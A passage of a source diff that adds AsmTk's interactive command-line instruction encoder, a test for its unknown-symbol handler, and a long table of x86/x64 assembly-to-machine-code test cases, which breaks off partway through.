src, size_t len) { + uint64_t val = 0; + for (size_t i = 0; i < len; i++) { + uint32_t c = src[i]; + if (c >= '0' && c <= '9') + c = c - '0'; + else if (c >= 'a' && c <= 'f') + c = c - 'a' + 10; + else if (c >= 'A' && c <= 'F') + c = c - 'A' + 10; + else + return false; + val = (val << 4) | c; + } + + out = val; + return true; +} + +static void dumpCode(const uint8_t* buf, size_t len) { + enum { kCharsPerLine = 39 }; + char hex[kCharsPerLine * 2 + 1]; + + size_t i = 0; + while (i < len) { + size_t j = 0; + size_t end = len - i < kCharsPerLine ? len - i : size_t(kCharsPerLine); + + end += i; + while (i < end) { + uint8_t b0 = buf[i] >> 4; + uint8_t b1 = buf[i] & 15; + + hex[j++] = b0 < 10 ? '0' + b0 : 'A' + b0 - 10; + hex[j++] = b1 < 10 ? '0' + b1 : 'A' + b1 - 10; + i++; + } + + hex[j] = '\0'; + puts(hex); + } +} + +static bool isSpace(const char c) { + return c == ' ' || c == '\r' || c == '\n' || c == '\t'; +} + +static bool isCommand(const char* str, const char* cmd) { + while (str[0] && isSpace(str[0])) str++; + + size_t sLen = ::strlen(str); + while (sLen && isSpace(str[sLen - 1])) sLen--; + + size_t cLen = ::strlen(cmd); + return sLen == cLen && ::memcmp(str, cmd, sLen) == 0; +} + +int main(int argc, char* argv[]) { + CmdLine cmd(argc, argv); + const char* archArg = cmd.getKey("--arch"); + const char* baseArg = cmd.getKey("--base"); + + uint32_t archType = ArchInfo::kTypeX64; + uint64_t baseAddress = Globals::kNoBaseAddress; + + if (archArg) { + if (::strcmp(archArg, "x86") == 0) { + archType = ArchInfo::kTypeX86; + } + else if (::strcmp(archArg, "x64") == 0) { + archType = ArchInfo::kTypeX64; + } + else { + printf("Invalid --arch parameter\n"); + return 1; + } + } + else { + archArg = "x64"; + } + + if (baseArg) { + size_t len = ::strlen(baseArg); + size_t maxLen = archType == ArchInfo::kTypeX64 ? 16 : 8; + + if (!len || len > maxLen || !hexToU64(baseAddress, baseArg, len)) { + printf("Invalid --base parameter\n"); + return 1; + } + } + + printf("===============================================================\n"); + printf("AsmTk [Assembler toolkit based on AsmJit]\n" ); + printf(" - A simple command-line based instruction encoder\n" ); + printf(" - Architecture=%s [select by --arch=x86|x64]\n", archArg ); + printf(" - Base-Address=%s [select by --base=hex]\n", baseArg ); + printf("---------------------------------------------------------------\n"); + printf("Input:\n" ); + printf(" - Enter instruction and its operands to be encoded.\n" ); + printf(" - Enter '.clear' to clear everything.\n" ); + printf(" - Enter '.print' to print the current code.\n" ); + printf(" - Enter '' (empty string) to exit.\n" ); + printf("===============================================================\n"); + + StringLogger logger; + logger.addOptions(Logger::kOptionBinaryForm); + + CodeInfo ci(archType, 0, baseAddress); + CodeHolder code; + + code.init(ci); + code.setLogger(&logger); + + X86Assembler a(&code); + AsmParser p(&a); + + char input[4096]; + for (;;) { + fgets(input, 4095, stdin); + if (input[0] == 0) break; + + if (isCommand(input, ".clear")) { + code.reset(false); // Detaches everything. + code.init(ci); + code.setLogger(&logger); + code.attach(&a); + continue; + } + + if (isCommand(input, ".print")) { + code.sync(); // First sync with the assembler. + + CodeBuffer& buffer = code.getSectionEntry(0)->getBuffer(); + dumpCode(buffer.getData(), buffer.getLength()); + continue; + } + + logger.clearString(); + Error err = p.parse(input); + + if (err == kErrorOk) { + const char* log = logger.getString(); + size_t i, len = logger.getLength(); + + // Skip the instruction part, and keep only the comment part. + for (i = 0; i < len; i++) { + if (log[i] == ';') { + i += 2; + break; + } + } + + if (i < len) + printf("%.*s", (int)(len - i), log + i); + } + else { + a.resetLastError(); + fprintf(stdout, "ERROR: 0x%08X: %s\n", err, DebugUtils::errorAsString(err)); + } + } + + return 0; +} diff --git a/asmtk/test/asmtk_test_handler.cpp b/asmtk/test/asmtk_test_handler.cpp new file mode 100644 index 0000000..4e17f78 --- /dev/null +++ b/asmtk/test/asmtk_test_handler.cpp @@ -0,0 +1,67 @@ +#include +#include +#include "./asmtk.h" + +using namespace asmjit; +using namespace asmtk; + +static Error ASMJIT_CDECL unknownSymbolHandler(AsmParser* parser, Operand* dst, const char* name, size_t len) { + void* data = parser->getUnknownSymbolHandlerData(); + + printf("Unknown symbol handler called on symbol '%.*s' (data %p)\n", + static_cast(len), name, data); + + if (len == 5 && ::memcmp(name, "TestA", 5) == 0) { + *dst = x86::rcx; + return kErrorOk; + } + + if (len == 5 && ::memcmp(name, "TestB", 5) == 0) { + *dst = imm(0x4000); + return kErrorOk; + } + + // Dst is initially an empty operand (none), if it's not changed AsmTK + // will create label for it by default. Don't return error in any case + // as that will terminate the parsing and return immediately. + return kErrorOk; +} + +int main(int argc, char* argv[]) { + // Initialize CodeInfo with proper architecture and base-address. + CodeInfo ci; + ci.init(ArchInfo::kTypeX64, 0, uint64_t(0x1000)); + + FileLogger logger(stdout); + logger.addOptions(Logger::kOptionBinaryForm); + + // Initialize CodeHolder. + CodeHolder code; + Error err = code.init(ci); + if (err) { + printf("[FAILURE] CodeHolder.init(): %s\n", DebugUtils::errorAsString(err)); + return 1; + } + + code.setLogger(&logger); + X86Assembler a(&code); + + AsmParser parser(&a); + parser.setUnknownSymbolHandler(unknownSymbolHandler); + + err = parser.parse( + "mov rax, TestA\n" + "call TestB"); + + // Sync Assembler with CodeHolder. + code.sync(); + + if (err) { + printf("[FAILURE] AsmParser.parse(): %s\n", DebugUtils::errorAsString(err)); + return 1; + } + else { + printf("[SUCCESS]\n"); + return 0; + } +} diff --git a/asmtk/test/asmtk_test_x86.cpp b/asmtk/test/asmtk_test_x86.cpp new file mode 100644 index 0000000..bfd289f --- /dev/null +++ b/asmtk/test/asmtk_test_x86.cpp @@ -0,0 +1,731 @@ +#include +#include +#include "./asmtk.h" + +using namespace asmjit; +using namespace asmtk; + +struct TestEntry { + uint64_t baseAddress; + uint8_t archType; + uint8_t mustPass; + uint8_t asmLength; + uint8_t mcLength; + char machineCode[16]; + char asmString[64]; +}; + +#define X86_PASS(BASE, MACHINE_CODE, ASM_STRING) { \ + ASMJIT_UINT64_C(BASE), \ + ArchInfo::kTypeX86, \ + true, \ + static_cast(sizeof(ASM_STRING ) - 1), \ + static_cast(sizeof(MACHINE_CODE) - 1), \ + MACHINE_CODE, \ + ASM_STRING \ +} + +#define X86_FAIL(BASE, ASM_STRING) { \ + ASMJIT_UINT64_C(BASE), \ + ArchInfo::kTypeX86, \ + false, \ + static_cast(sizeof(ASM_STRING ) - 1), \ + 0, \ + "", \ + ASM_STRING \ +} + +#define X64_PASS(BASE, MACHINE_CODE, ASM_STRING) { \ + ASMJIT_UINT64_C(BASE), \ + ArchInfo::kTypeX64, \ + true, \ + static_cast(sizeof(ASM_STRING ) - 1), \ + static_cast(sizeof(MACHINE_CODE) - 1), \ + MACHINE_CODE, \ + ASM_STRING \ +} + +#define X64_FAIL(BASE, ASM_STRING) { \ + ASMJIT_UINT64_C(BASE), \ + ArchInfo::kTypeX64, \ + false, \ + static_cast(sizeof(ASM_STRING ) - 1), \ + 0, \ + "", \ + ASM_STRING \ +} + +// Some tests are unique, some were derived from other asm-related projects: +// - Capstone - https://github.com/aquynh/capstone +// - XEDParse - https://github.com/x64dbg/XEDParse +static const TestEntry testEntries[] = { + // 32-bit base instructions. + X86_PASS(0x0000000000000000, "\x90" , "nop"), + X86_PASS(0x0000000000000000, "\x8A\xE0" , "mov ah, al"), + X86_PASS(0x0000000000000000, "\x8A\xF0" , "mov dh, al"), + X86_PASS(0x0000000000000000, "\x8B\xC3" , "mov EAX, Ebx"), + X86_PASS(0x0000000000000000, "\xB8\xE8\x03\x00\x00" , "mov eax, 1000"), + X86_PASS(0x0000000000000000, "\x89\xD8" , "modmr mov eax, ebx"), + X86_PASS(0x0000000000000000, "\xB8\xFF\xFF\xFF\xFF" , "mov eax, 0xFFFFFFFF"), + X86_PASS(0x0000000000000000, "\x8C\xE0" , "mov eax, fs"), + X86_PASS(0x0000000000000000, "\x8E\xE0" , "mov fs, eax"), + X86_PASS(0x0000000000000000, "\x8B\x10" , "mov edx, [eax]"), + X86_PASS(0x0000000000000000, "\x8B\x10" , "mov edx, [eax + 0]"), + X86_PASS(0x0000000000000000, "\x8B\x90\x80\x00\x00\x00" , "mov edx, [eax + 128]"), + X86_PASS(0x0000000000000000, "\x8B\x14\x08" , "mov edx, [eax + ecx]"), + X86_PASS(0x0000000000000000, "\x8B\x94\x08\x80\x00\x00\x00" , "mov edx, [eax + ecx + 128]"), + X86_PASS(0x0000000000000000, "\x8B\x14\x08" , "mov edx, [eax + ecx * 1]"), + X86_PASS(0x0000000000000000, "\x8B\x54\x48\x20" , "mov edx, [eax + ecx * 2 + 32]"), + X86_PASS(0x0000000000000000, "\x8B\x54\x88\x40" , "mov edx, [eax + ecx * 4 + 64]"), + X86_PASS(0x0000000000000000, "\x8B\x94\xC8\x00\x01\x00\x00" , "mov edx, [eax + ecx * 8 + 128 + 128]"), + X86_PASS(0x0000000000000000, "\x64\x8B\x10" , "mov edx, fs:[eax]"), + X86_PASS(0x0000000000000000, "\x64\xA1\x2C\x00\x00\x00" , "mov eax, fs:[0x2C]"), + X86_PASS(0x0000000000000000, "\x64\x8B\x15\x2C\x00\x00\x00" , "mov edx, fs:[0x2C]"), + X86_PASS(0x0000000000000000, "\x65\x8B\x15\x2C\x00\x00\x00" , "mov edx, gs:[0x2C]"), + X86_PASS(0x0000000000000000, "\x64\xA3\x2C\x00\x00\x00" , "mov fs:[0x2C], eax"), + X86_PASS(0x0000000000000000, "\x64\x89\x15\x2C\x00\x00\x00" , "mov fs:[0x2C], edx"), + X86_PASS(0x0000000000000000, "\x65\x89\x15\x2C\x00\x00\x00" , "mov gs:[0x2C], edx"), + X86_PASS(0x0000000000000000, "\x0F\x20\xC0" , "mov eax, cr0"), + X86_PASS(0x0000000000000000, "\xF0\x0F\x20\xC0" , "mov eax, cr8"), + X86_PASS(0x0000000000000000, "\x0F\xBE\x07" , "movsx eax, byte ptr [edi]"), + X86_PASS(0x0000000000000000, "\x0F\xBF\x07" , "movsx eax, word ptr [edi]"), + X86_PASS(0x0000000000000000, "\x0F\xB6\x07" , "movzx eax, byte ptr [edi]"), + X86_PASS(0x0000000000000000, "\x0F\xB6\xC6" , "movzx eax, dh"), + X86_PASS(0x0000000000000000, "\x0F\xB7\x07" , "movzx eax, word ptr [edi]"), + X86_PASS(0x0000000000000000, "\xF0\x01\x18" , "lock add [eax], ebx"), + X86_PASS(0x0000000000000000, "\x50" , "push eax"), + X86_PASS(0x0000000000000000, "\x51" , "push ecx"), + X86_PASS(0x0000000000000000, "\x52" , "push edx"), + X86_PASS(0x0000000000000000, "\x53" , "push ebx"), + X86_PASS(0x0000000000000000, "\x54" , "push esp"), + X86_PASS(0x0000000000000000, "\x55" , "push ebp"), + X86_PASS(0x0000000000000000, "\x56" , "push esi"), + X86_PASS(0x0000000000000000, "\x57" , "push edi"), + X86_PASS(0x0000000000000000, "\x0E" , "push cs"), + X86_PASS(0x0000000000000000, "\x16" , "push ss"), + X86_PASS(0x0000000000000000, "\x1E" , "push ds"), + X86_PASS(0x0000000000000000, "\x06" , "push es"), + X86_PASS(0x0000000000000000, "\x0F\xA0" , "push fs"), + X86_PASS(0x0000000000000000, "\x0F\xA8" , "push gs"), + X86_PASS(0x0000000000000000, "\x66\x0F\xBA\x20\x01" , "bt word ptr [eax], 1"), + X86_PASS(0x0000000000000000, "\x0F\xBA\x20\x01" , "bt dword ptr [eax], 1"), + X86_PASS(0x0000000000000000, "\xFE\x00" , "inc byte ptr [eax]"), + X86_PASS(0x0000000000000000, "\x66\xFF\x00" , "inc word ptr [eax]"), + X86_PASS(0x0000000000000000, "\xFF\x00" , "inc dword ptr [eax]"), + X86_PASS(0x0000000000000000, "\xF6\xD8" , "neg al"), + X86_PASS(0x0000000000000000, "\xF6\xDC" , "neg ah"), + X86_PASS(0x0000000000000000, "\xF7\xD8" , "neg eax"), + X86_PASS(0x0000000000000000, "\xF7\xD0" , "not eax"), + X86_PASS(0x0000000000000000, "\x0F\x95\xC3" , "setnz bl"), + X86_PASS(0x0000000000000000, "\x0F\x94\xC7" , "setz bh"), + X86_PASS(0x0000000000000000, "\xF2\x0F\x38\xF0\xC7" , "crc32 eax, bh"), + X86_PASS(0x0000000000000000, "\x66\xF2\x0F\x38\xF1\xC3" , "crc32 eax, bx"), + X86_PASS(0x0000000000000000, "\xF2\x0F\x38\xF1\xC1" , "crc32 eax, ecx"), + X86_PASS(0x0000000000000000, "\xF2\x0F\x38\xF0\x06" , "crc32 eax, byte ptr [esi]"), + X86_PASS(0x0000000000000000, "\x66\xF2\x0F\x38\xF1\x06" , "crc32 eax, word ptr [esi]"), + X86_PASS(0x0000000000000000, "\xF2\x0F\x38\xF1\x06" , "crc32 eax, dword ptr [esi]"), + X86_PASS(0x0000000000000000, "\xF6\x00\xFF" , "test byte ptr [eax], 0xFF"), + X86_PASS(0x0000000000000000, "\x66\xF7\x00\xFF\x00" , "test word ptr [eax], 0xFF"), + X86_PASS(0x0000000000000000, "\xF7\x00\xFF\x00\x00\x00" , "test dword ptr [eax], 0xFF"), + X86_PASS(0x0000000000000000, "\xFF\x10" , "call [eax]"), + X86_PASS(0x0000000000000000, "\xFF\x10" , "call dword ptr [eax]"), + X86_PASS(0x0000000000000000, "\x66\xC5\x01" , "lds ax , [ecx]"), + X86_PASS(0x0000000000000000, "\xC5\x01" , "lds eax, [ecx]"), + X86_PASS(0x0000000000000000, "\x66\xC4\x01" , "les ax , [ecx]"), + X86_PASS(0x0000000000000000, "\xC4\x01" , "les eax, [ecx]"), + X86_PASS(0x0000000000000000, "\x66\x0F\xB4\x01" , "lfs ax , [ecx]"), + X86_PASS(0x0000000000000000, "\x0F\xB4\x01" , "lfs eax, [ecx]"), + X86_PASS(0x0000000000000000, "\x66\x0F\xB5\x01" , "lgs ax , [ecx]"), + X86_PASS(0x0000000000000000, "\x0F\xB5\x01" , "lgs eax, [ecx]"), + X86_PASS(0x0000000000000000, "\x66\x0F\xB2\x01" , "lss ax , [ecx]"), + X86_PASS(0x0000000000000000, "\x0F\xB2\x01" , "lss eax, [ecx]"), + X86_PASS(0x0000000000000000, "\xC8\x01\x00\x02" , "enter 1, 2"), + X86_PASS(0x0000000000000000, "\xC9" , "leave"), + + // 64-bit base instructions. + X64_PASS(0x0000000000000000, "\x8A\xE0" , "mov ah, al"), + X64_PASS(0x0000000000000000, "\x8A\xF0" , "mov dh, al"), + X64_PASS(0x0000000000000000, "\xB8\xE8\x03\x00\x00" , "mov eax, 1000"), + X64_PASS(0x0000000000000000, "\x0F\x20\xC0" , "mov rax, cr0"), + X64_PASS(0x0000000000000000, "\x44\x0F\x20\xC0" , "mov rax, cr8"), + X64_PASS(0x0000000000000000, "\x48\x8B\x05\x00\x00\x00\x00" , "mov rax, [rip]"), + X64_PASS(0x0000000000000000, "\x4A\x8B\x04\x60" , "mov rax, [rax + r12 * 2]"), + X64_PASS(0x0000000000000000, "\x4A\x8B\x04\x68" , "mov rax, [rax + r13 * 2]"), + X64_PASS(0x0000000000000000, "\x4A\x8B\x84\x60\x00\x01\x00\x00" , "mov rax, [rax + r12 * 2 + 256]"), + X64_PASS(0x0000000000000000, "\x64\x8B\x04\x25\x2C\x00\x00\x00" , "mov eax, fs:[0x2C]"), + X64_PASS(0x0000000000000000, "\x64\x8B\x14\x25\x2C\x00\x00\x00" , "mov edx, fs:[0x2C]"), + X64_PASS(0x0000000000000000, "\x64\x89\x04\x25\x2C\x00\x00\x00" , "mov fs:[0x2C], eax"), + X64_PASS(0x0000000000000000, "\x64\x89\x14\x25\x2C\x00\x00\x00" , "mov fs:[0x2C], edx"), + X64_PASS(0x0000000000000000, "\x0F\xBE\x07" , "movsx eax, byte ptr [rdi]"), + X64_PASS(0x0000000000000000, "\x48\x0F\xBE\x07" , "movsx rax, byte ptr [rdi]"), + X64_PASS(0x0000000000000000, "\x0F\xBF\x07" , "movsx eax, word ptr [rdi]"), + X64_PASS(0x0000000000000000, "\x48\x0F\xBF\x07" , "movsx rax, word ptr [rdi]"), + X64_PASS(0x0000000000000000, "\x48\x63\x07" , "movsxd rax, [rdi]"), + X64_PASS(0x0000000000000000, "\x48\x63\x07" , "movsxd rax, dword ptr [rdi]"), + X64_PASS(0x0000000000000000, "\x0F\xB6\xC6" , "movzx eax, dh"), + X64_PASS(0x0000000000000000, "\x0F\xB6\x07" , "movzx eax, byte ptr [rdi]"), + X64_PASS(0x0000000000000000, "\x48\x0F\xB6\x07" , "movzx rax, byte ptr [rdi]"), + X64_PASS(0x0000000000000000, "\x44\x0F\xB6\xFA" , "movzx r15d, dl"), + X64_PASS(0x0000000000000000, "\x44\x0F\xB6\xFD" , "movzx r15d, bpl"), + X64_PASS(0x0000000000000000, "\x0F\xB7\x07" , "movzx eax, word ptr [rdi]"), + X64_PASS(0x0000000000000000, "\x48\x0F\xB7\x07" , "movzx rax, word ptr [rdi]"), + X64_PASS(0x0000000000000000, "\xF0\x01\x18" , "lock add [rax], ebx"), + X64_PASS(0x0000000000000000, "\x0F\xC8" , "bswap eax"), + X64_PASS(0x0000000000000000, "\x48\x0F\xC8" , "bswap rax"), + X64_PASS(0x0000000000000000, "\x66\x0F\xBA\x20\x01" , "bt word ptr [rax], 1"), + X64_PASS(0x0000000000000000, "\x0F\xBA\x20\x01" , "bt dword ptr [rax], 1"), + X64_PASS(0x0000000000000000, "\x48\x0F\xBA\x20\x01" , "bt qword ptr [rax], 1"), + X64_PASS(0x0000000000000000, "\xFE\x00" , "inc byte ptr [rax]"), + X64_PASS(0x0000000000000000, "\x66\xFF\x00" , "inc word ptr [rax]"), + X64_PASS(0x0000000000000000, "\xFF\x00" , "inc dword ptr [rax]"), + X64_PASS(0x0000000000000000, "\x48\xFF\x00" , "inc qword ptr [rax]"), + X64_PASS(0x0000000000000000, "\xF6\xD8" , "neg al"), + X64_PASS(0x0000000000000000, "\xF6\xDC" , "neg ah"), + X64_PASS(0x0000000000000000, "\x40\xF6\xDE" , "neg sil"), + X64_PASS(0x0000000000000000, "\xF7\xD8" , "neg eax"), + X64_PASS(0x0000000000000000, "\xF7\xD0" , "not eax"), + X64_PASS(0x0000000000000000, "\x0F\x95\xC3" , "setnz bl"), + X64_PASS(0x0000000000000000, "\x0F\x94\xC7" , "setz bh"), + X64_PASS(0x0000000000000000, "\x40\x0F\x94\xC0" , "rex setz al"), + X64_PASS(0x0000000000000000, "\x41\x0F\x94\xC7" , "setz r15b"), + X64_PASS(0x0000000000000000, "\xF2\x0F\x38\xF0\xC7" , "crc32 eax, bh"), + X64_PASS(0x0000000000000000, "\x66\xF2\x0F\x38\xF1\xC3" , "crc32 eax, bx"), + X64_PASS(0x0000000000000000, "\xF2\x0F\x38\xF1\xC1" , "crc32 eax, ecx"), + X64_PASS(0x0000000000000000, "\xF2\x0F\x38\xF0\x06" , "crc32 eax, byte ptr [rsi]"), + X64_PASS(0x0000000000000000, "\x66\xF2\x0F\x38\xF1\x06" , "crc32 eax, word ptr [rsi]"), + X64_PASS(0x0000000000000000, "\xF2\x0F\x38\xF1\x06" , "crc32 eax, dword ptr [rsi]"), + X64_PASS(0x0000000000000000, "\xF2\x48\x0F\x38\xF0\xC3" , "crc32 rax, bl"), + X64_PASS(0x0000000000000000, "\xF2\x48\x0F\x38\xF1\xC1" , "crc32 rax, rcx"), + X64_PASS(0x0000000000000000, "\xF2\x48\x0F\x38\xF0\x06" , "crc32 rax, byte ptr [rsi]"), + X64_PASS(0x0000000000000000, "\xF2\x48\x0F\x38\xF1\x06" , "crc32 rax, qword ptr [rsi]"), + X64_PASS(0x0000000000000000, "\xF6\x00\xFF" , "test byte ptr [rax], 0xFF"), + X64_PASS(0x0000000000000000, "\x66\xF7\x00\xFF\x00" , "test word ptr [rax], 0xFF"), + X64_PASS(0x0000000000000000, "\xF7\x00\xFF\x00\x00\x00" , "test dword ptr [rax], 0xFF"), + X64_PASS(0x0000000000000000, "\x48\xF7\x00\xFF\x00\x00\x00" , "test qword ptr [rax], 0xFF"), + X64_PASS(0x0000000000000000, "\xFF\x10" , "call [rax]"), + X64_PASS(0x0000000000000000, "\xFF\x10" , "call qword ptr [rax]"), + X64_PASS(0x0000000000000000, "\x66\x0F\xB4\x01" , "lfs ax , [rcx]"), + X64_PASS(0x0000000000000000, "\x0F\xB4\x01" , "lfs eax, [rcx]"), + X64_PASS(0x0000000000000000, "\x48\x0F\xB4\x01" , "lfs rax, [rcx]"), + X64_PASS(0x0000000000000000, "\x66\x0F\xB5\x01" , "lgs ax , [rcx]"), + X64_PASS(0x0000000000000000, "\x0F\xB5\x01" , "lgs eax, [rcx]"), + X64_PASS(0x0000000000000000, "\x48\x0F\xB5\x01" , "lgs rax, [rcx]"), + X64_PASS(0x0000000000000000, "\x66\x0F\xB2\x01" , "lss ax , [rcx]"), + X64_PASS(0x0000000000000000, "\x0F\xB2\x01" , "lss eax, [rcx]"), + X64_PASS(0x0000000000000000, "\x48\x0F\xB2\x01" , "lss rax, [rcx]"), + X64_PASS(0x0000000000000000, "\xC8\x01\x00\x02" , "enter 1, 2"), + X64_PASS(0x0000000000000000, "\x40\xC8\x01\x00\x02" , "rex enter 1, 2"), + X64_PASS(0x0000000000000000, "\xC9" , "leave"), + + // 32-bit XACQUIRE|XRELEASE. + X86_PASS(0x0000000000000000, "\xC7\xF8\xFA\xFF\xFF\xFF" , "L1: xbegin L1"), + X86_PASS(0x0000000000000000, "\xF2\xF0\x01\x08" , "xacquire lock add dword [eax], ecx"), + X86_PASS(0x0000000000000000, "\xF3\xF0\x01\x08" , "xrelease lock add dword [eax], ecx"), + + + // 64-bit XACQUIRE|XRELEASE. + X64_PASS(0x0000000000000000, "\xC7\xF8\xFA\xFF\xFF\xFF" , "L1: xbegin L1"), + X64_PASS(0x0000000000000000, "\xF2\xF0\x48\x01\x08" , "xacquire lock add qword [rax], rcx"), + X64_PASS(0x0000000000000000, "\xF3\xF0\x48\x01\x08" , "xrelease lock add qword [rax], rcx"), + + + // 32-bit BMI+ instructions. + X86_PASS(0x0000000000000000, "\x66\xF3\x0F\xB8\xC2" , "popcnt ax, dx"), + X86_PASS(0x0000000000000000, "\xF3\x0F\xB8\xC2" , "popcnt eax, edx"), + X86_PASS(0x0000000000000000, "\x66\xF3\x0F\xBD\xC2" , "lzcnt ax, dx"), + X86_PASS(0x0000000000000000, "\xF3\x0F\xBD\xC2" , "lzcnt eax, edx"), + X86_PASS(0x0000000000000000, "\x66\xF3\x0F\xBC\xC2" , "tzcnt ax, dx"), + X86_PASS(0x0000000000000000, "\xF3\x0F\xBC\xC2" , "tzcnt eax, edx"), + + // 64-bit BMI+ instructions. + X64_PASS(0x0000000000000000, "\x66\xF3\x0F\xB8\xC2" , "popcnt ax, dx"), + X64_PASS(0x0000000000000000, "\x66\xF3\x45\x0F\xB8\xC1" , "popcnt r8w, r9w"), + X64_PASS(0x0000000000000000, "\xF3\x0F\xB8\xC2" , "popcnt eax, edx"), + X64_PASS(0x0000000000000000, "\xF3\x48\x0F\xB8\xC2" , "popcnt rax, rdx"), + X64_PASS(0x0000000000000000, "\x66\xF3\x0F\xBD\xC2" , "lzcnt ax, dx"), + X64_PASS(0x0000000000000000, "\x66\xF3\x45\x0F\xBD\xC7" , "lzcnt r8w, r15w"), + X64_PASS(0x0000000000000000, "\xF3\x0F\xBD\xC2" , "lzcnt eax, edx"), + X64_PASS(0x0000000000000000, "\xF3\x49\x0F\xBD\xC2" , "lzcnt rax, r10"), + X64_PASS(0x0000000000000000, "\x66\xF3\x0F\xBC\xC2" , "tzcnt ax, dx"), + X64_PASS(0x0000000000000000, "\x66\xF3\x45\x0F\xBC\xC7" , "tzcnt r8w, r15w"), + X64_PASS(0x0000000000000000, "\xF3\x0F\xBC\xC2" , "tzcnt eax, edx"), + X64_PASS(0x0000000000000000, "\xF3\x4D\x0F\xBC\xFA" , "tzcnt r15, r10"), + + // 32-bit LEA with various addressing options. + X86_PASS(0x0000000000000000, "\x67\x66\x8D\x00" , "lea ax, [bx + si]"), + X86_PASS(0x0000000000000000, "\x67\x66\x8D\x01" , "lea ax, [bx + di]"), + X86_PASS(0x0000000000000000, "\x67\x66\x8D\x02" , "lea ax, [bp + si]"), + X86_PASS(0x0000000000000000, "\x67\x66\x8D\x03" , "lea ax, [bp + di]"), + X86_PASS(0x0000000000000000, "\x67\x66\x8D\x04" , "lea ax, [si]"), + X86_PASS(0x0000000000000000, "\x67\x66\x8D\x05" , "lea ax, [di]"), + X86_PASS(0x0000000000000000, "\x67\x66\x8D\x46\x00" , "lea ax, [bp]"), + X86_PASS(0x0000000000000000, "\x67\x66\x8D\x07" , "lea ax, [bx]"), + X86_PASS(0x0000000000000000, "\x67\x66\x8D\x40\x10" , "lea ax, [bx + si + 0x10]"), + X86_PASS(0x0000000000000000, "\x67\x66\x8D\x41\x20" , "lea ax, [bx + di + 0x20]"), + X86_PASS(0x0000000000000000, "\x67\x66\x8D\x42\x40" , "lea ax, [bp + si + 0x40]"), + X86_PASS(0x0000000000000000, "\x67\x66\x8D\x43\x60" , "lea ax, [bp + di + 0x60]"), + X86_PASS(0x0000000000000000, "\x67\x66\x8D\x84\x80\x00" , "lea ax, [si + 0x80]"), + X86_PASS(0x0000000000000000, "\x67\x66\x8D\x85\xA0\x00" , "lea ax, [di + 0xA0]"), + X86_PASS(0x0000000000000000, "\x67\x66\x8D\x86\xC0\x00" , "lea ax, [bp + 0xC0]"), + X86_PASS(0x0000000000000000, "\x67\x66\x8D\x87\xFF\x01" , "lea ax, [bx + 0x01FF]"), + X86_PASS(0x0000000000000000, "\x67\x8D\x00" , "lea eax, [bx + si]"), + X86_PASS(0x0000000000000000, "\x67\x8D\x01" , "lea eax, [bx + di]"), + X86_PASS(0x0000000000000000, "\x8D\x04\x33" , "lea eax, [ebx + esi]"), + X86_PASS(0x0000000000000000, "\x8D\x04\x3B" , "lea eax, [ebx + edi]"), + + // 64-bit LEA with various addressing options. + X64_PASS(0x0000000000000000, "\x48\x8D\x04\x33" , "lea rax, [rbx + rsi]"), + X64_PASS(0x0000000000000000, "\x48\x8D\x04\x3B" , "lea rax, [rbx + rdi]"), + X64_PASS(0x0000000000000000, "\x48\x8D\x84\x00\x00\x40\x00\x00" , "lea rax, [rax + rax * 1 + 0x4000]"), + + // 32-bit FPU instructions. + X86_PASS(0x0000000000000000, "\xD8\x00" , "fadd dword ptr [eax]"), + X86_PASS(0x0000000000000000, "\xDC\x00" , "fadd qword ptr [eax]"), + + // 64-bit FPU instructions. + X64_PASS(0x0000000000000000, "\xD8\x00" , "fadd dword ptr [rax]"), + X64_PASS(0x0000000000000000, "\xDC\x00" , "fadd qword ptr [rax]"), + + // 32-bit BND instructions + X86_PASS(0x0000000000000000, "\x66\x0F\x1A\xCA" , "bndmov bnd1, bnd2"), + X86_PASS(0x0000000000000000, "\xF2\x0F\x1A\xCF" , "bndcu bnd1, edi"), + X86_PASS(0x0000000000000000, "\x0F\x1A\x04\x08" , "bndldx bnd0, [eax + ecx]"), + X86_PASS(0x0000000000000000, "\x0F\x1B\x0C\x08" , "bndstx [eax + ecx], bnd1"), + + // 64-bit BND instructions + X64_PASS(0x0000000000000000, "\x66\x0F\x1A\xCA" , "bndmov bnd1, bnd2"), + X64_PASS(0x0000000000000000, "\xF2\x0F\x1A\xCF" , "bndcu bnd1, rdi"), + X64_PASS(0x0000000000000000, "\x0F\x1A\x04\x08" , "bndldx bnd0, [rax + rcx]"), + X64_PASS(0x0000000000000000, "\x0F\x1B\x0C\x08" , "bndstx [rax + rcx], bnd1"), + + // 32-bit MMX+ and SSE+ instructions. + X86_PASS(0x0000000000000000, "\x0F\x6F\xC1" , "movq mm0, mm1"), + X86_PASS(0x0000000000000000, "\x0F\x6E\x00" , "movd mm0, [eax]"), + X86_PASS(0x0000000000000000, "\x0F\x6F\x04\x18" , "movq mm0, [eax + ebx]"), + X86_PASS(0x0000000000000000, "\x0F\x7E\x38" , "movd [eax], mm7"), + X86_PASS(0x0000000000000000, "\x0F\x7F\x04\x18" , "movq [eax + ebx], mm0"), + X86_PASS(0x0000000000000000, "\x0F\xDB\xC1" , "pand mm0, mm1"), + X86_PASS(0x0000000000000000, "\xF3\x0F\x7E\xC1" , "movq xmm0, xmm1"), + X86_PASS(0x0000000000000000, "\x66\x0F\x6E\x04\x18" , "movd xmm0, [eax + ebx]"), + X86_PASS(0x0000000000000000, "\xF3\x0F\x7E\x04\x18" , "movq xmm0, [eax + ebx]"), + X86_PASS(0x0000000000000000, "\x66\x0F\x7E\x0C\x18" , "movd [eax + ebx], xmm1"), + X86_PASS(0x0000000000000000, "\x66\x0F\xD6\x0C\x18" , "movq [eax + ebx], xmm1"), + X86_PASS(0x0000000000000000, "\x66\x0F\xDB\xC1" , "pand xmm0, xmm1"), + X86_PASS(0x0000000000000000, "\x66\x0F\xFD\xC1" , "paddw xmm0, xmm1"), + X86_PASS(0x0000000000000000, "\x0F\x28\x04\x98" , "movaps xmm0, [eax + ebx * 4]"), + X86_PASS(0x0000000000000000, "\x66\x0F\x28\x04\x98" , "movapd xmm0, [eax + ebx * 4]"), + X86_PASS(0x0000000000000000, "\x66\x0F\x6F\x04\x98" , "movdqa xmm0, [eax + ebx * 4]"), + X86_PASS(0x0000000000000000, "\x0F\x29\x0C\x98" , "movaps [eax + ebx * 4], xmm1"), + X86_PASS(0x0000000000000000, "\x66\x0F\x29\x0C\x98" , "movapd [eax + ebx * 4], xmm1"), + X86_PASS(0x0000000000000000, "\x66\x0F\x7F\x0C\x98" , "movdqa [eax + ebx * 4], xmm1"), + X86_PASS(0x0000000000000000, "\x66\x0F\x3A\x41\xC1\x00" , "dppd xmm0, xmm1, 0"), + + // 64-bit MMX+ and SSE+ instructions. + 